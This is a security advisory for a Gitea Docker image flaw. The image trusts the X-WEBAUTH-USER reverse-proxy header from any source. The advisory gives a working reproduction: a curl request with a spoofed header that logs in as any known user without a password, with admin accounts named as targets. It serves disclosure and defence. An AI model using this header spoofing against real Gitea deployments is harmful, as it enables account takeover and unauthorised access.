CVE-2026-20896: Gitea Docker image trusts spoofable reverse-proxy headers by default

Summary

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSEPROXYTRUSTEDPROXIES =

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLEREVERSEPROXYAUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Affected

- gitea/gitea Docker images (verified 1.26.2) - docker/root/etc/templates/app.ini:55 - docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

Reproduction

docker run -d --name g -p 3000:3000 \ -e GITEAserviceENABLEREVERSEPROXYAUTHENTICATION=true \ -e GITEAsecurityINSTALLLOCK=true \ gitea/gitea:1.26.2

sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email alice@x.test --must-change-password=false

Now the attack::

curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <anyexistingusername> impersonates that user.

Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, giteaadmin, etc.) are the obvious targets.